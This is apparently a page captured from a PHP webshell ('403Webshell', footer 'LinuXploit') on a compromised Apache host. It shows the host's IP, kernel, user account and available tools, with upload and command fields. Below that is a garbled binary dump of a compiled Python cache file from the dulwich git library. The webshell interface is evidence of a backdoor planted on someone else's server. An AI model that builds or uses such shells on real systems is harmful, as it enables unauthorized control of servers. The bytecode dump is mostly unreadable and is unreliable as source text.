403Webshell
Server IP : 217.160.0.244  /  Your IP : 216.73.217.138
Web Server : Apache
System : Linux infong-eu155 4.4.400-icpu-108 #2 SMP Wed Feb 11 11:51:01 UTC 2026 x86_64
User : u100174116 ( 6746176)
PHP Version : 8.5.10
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /lib/python3/dist-packages/dulwich/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3/dist-packages/dulwich/__pycache__/objectspec.cpython-313.pyc
�

mEdg�����SrSSKJr SSKJrJrJr SSKJrJ	r	J
r
 \(aSSKJrJ
r
 SSKJr S\\\4S	\4S
jrSSS
\\\4S	S4SjrSSS\\\4S	S4SjrS\SS\\\4S	S4SjrS(S\SS\SS\\\4S\S	\\S\S\44
SjjrS(S\SS\SS\\\\4S\4SjjrSrSSS\\\4S	\S 4S!jr"S"S#\5rS$rSSS%\\\4S	S 4S&jr g'))zObject specification.�)�Iterator)�
TYPE_CHECKING�Optional�Union�)�Commit�ShaFile�Tree)�Ref�
RefsContainer)�Repo�text�returnc�D�[USS5bURS5nU$)N�encode�ascii)�getattrr)rs �4/usr/lib/python3/dist-packages/dulwich/objectspec.py�to_bytesr"s$���t�X�t�$�0��{�{�7�#���K��repor
�	objectishr	c� �[U5nX$)z�Parse a string referring to an object.

Args:
  repo: A `Repo` object
  objectish: A string referring to an object
Returns: A git object
Raises:
  KeyError: If the object can not be found
)r)rrs  r�parse_objectr(s����#�I��?�r�treeishr
c��[U5n[X5nXnURS:XaXR$U$![a N0f=f)z�Parse a string referring to a tree.

Args:
  repo: A `Repo` object
  treeish: A string referring to a tree
Returns: A git object
Raises:
  KeyError: If the object can not be found
scommit)r�	parse_ref�KeyError�	type_name�tree)rr�os   r�
parse_treer"6sW���w��G�
��D�*��	
�
�A��{�{�i���F�F�|���H���
��
�s�<�
A	�A	�	container)r
r�refspecrc��[U5nUSU-SU-SU-SU-SU-S-/nUHnX0;dM
Us $ [U5e)z�Parse a string referring to a reference.

Args:
  container: A RefsContainer object
  refspec: A string referring to a ref
Returns: A ref
Raises:
  KeyError: If the ref can not be found
srefs/s
refs/tags/�refs/heads/s
refs/remotes/s/HEAD)rr)r#r$�
possible_refs�refs    rrrKsi���w��G���7������� ��7�"��7�"�X�-�
�M������J���7�
�r�lh_container�rh_container�forcec��[U5nURS5(aSnUSSnSU;aURS5upEOU=pEUS:XaSnO[X5nUS:XaSnO[X5nXEU4$![a SU;aSU-nNf=f)	z�Parse a reftuple spec.

Args:
  lh_container: A RefsContainer object
  rh_container: A RefsContainer object
  refspec: A string
Returns: A tuple with left and right ref
Raises:
  KeyError: If one of the refs can not be found
�+TrN�:r�/r&)r�
startswith�splitrr)r)r*r$r+�lh�rhs      r�parse_reftupler4fs��� �w��G����$������!�"�+���w���=�=��&���R����	�S�y�
��
�|�
(��	�S�y�
��	)��<�,�B�

�E�?���	�	)��2�~�#�b�(���	)�s�$A3�3B�
B�refspecsc
�~�[U[5(dU/n/nUHnUR[XXSS95 M U$)a4Parse a list of reftuple specs to a list of reftuples.

Args:
  lh_container: A RefsContainer object
  rh_container: A RefsContainer object
  refspecs: A list of refspecs or a string
  force: Force overwriting for all reftuples
Returns: A list of refs
Raises:
  KeyError: If one of the refs can not be found
)r+)�
isinstance�list�appendr4)r)r*r5r+�retr$s      r�parse_reftuplesr;�s?��"�h��%�%��:��
�C����
�
�>�,�g�S�T���Jrc��[U[5(dU/n/nUHnUR[X55 M U$)z�Parse a list of refspecs to a list of refs.

Args:
  container: A RefsContainer object
  refspecs: A list of refspecs or a string
Returns: A list of refs
Raises:
  KeyError: If one of the refs can not be found
)r7r8r9r)r#r5r:r$s    r�
parse_refsr=�s=���h��%�%��:��
�C����
�
�9�Y�0�1���Jr�committishsrc�B�[U5n[[X5/5$)a Parse a string referring to a range of commits.

Args:
  repo: A `Repo` object
  committishs: A string referring to a range of commits.
Returns: An iterator over `Commit` objects
Raises:
  KeyError: When the reference commits can not be found
  ValueError: If the range can not be parsed
)r�iter�parse_commit)rr>s  r�parse_commit_rangerB�s!���;�'�K���d�0�1�2�2rc�"�\rSrSrSrSSjrSrg)�AmbiguousShortId��zThe short id is ambiguous.Nc��XlX lg)N)�prefix�options)�selfrGrHs   r�__init__�AmbiguousShortId.__init__�s�����r)rHrG)rN)�__name__�
__module__�__qualname__�__firstlineno__�__doc__rJ�__static_attributes__�rrrDrD�s
��$�rrDc���/nURU5H*nXn[XR5(dMURU5 M, U(d[U5e[	U5S:XaUS$[X5e)z$Scan an object store for a short id.rr)�iter_prefixr7r9r�lenrD)�object_storerG�tpr:�	object_idr!s      r�scan_for_short_idrY�si��
�C�!�-�-�f�5�	��#���a����J�J�q�M�6���v���
�3�x�1�}��1�v�
�
�6�
'�'r�
committishc�d�[U5nX$![a Of=fU[X5$![a Of=f[U5S:�aX[U5S:aI[	US5 [URU[5$![a Of=f![a Of=f[U5e)aParse a string referring to a single commit.

Args:
  repo: A` Repo` object
  committish: A string referring to a single commit.
Returns: A Commit object
Raises:
  KeyError: When the reference commits can not be found
  ValueError: If the range can not be parsed
��(�)	rrrrU�intrYrVr�
ValueError)rrZs  rrArA�s����*�%�J�
������
��
��
��I�d�/�0�0���
��
��
�:��!���J��"� 4�	��
�B��
�(��):�):�J��O�O���
��
���	��	���:�
�s<��
��
0�
=�=�B�,B�
B�B�
B$�#B$N)F)!rP�collections.abcr�typingrrr�objectsrr	r
�refsrrrr
�str�bytesrrr"r�bool�tupler4r8r;r=rB�	ExceptionrDrYrArRrr�<module>rjs���,�$�1�1�*�*��(���5��e��$�����v��%��s�
�*;��	��
�V�
�e�E�3�J�&7�
�F�
�*��,�-��8=�c�5�j�8I��
��>�	'��/�0�'��/�0�'��3��:�
�'��	'�
�8�E�?�H�U�O�T�1�2�'�\�	��/�0���/�0���E�4��;�&�'���	�4�&3�
�3�$�S�%�Z�0�3�
�h��3�$�y��(��v��5��e��+<���r

Youez - 2016 - github.com/yon3zu
LinuXploit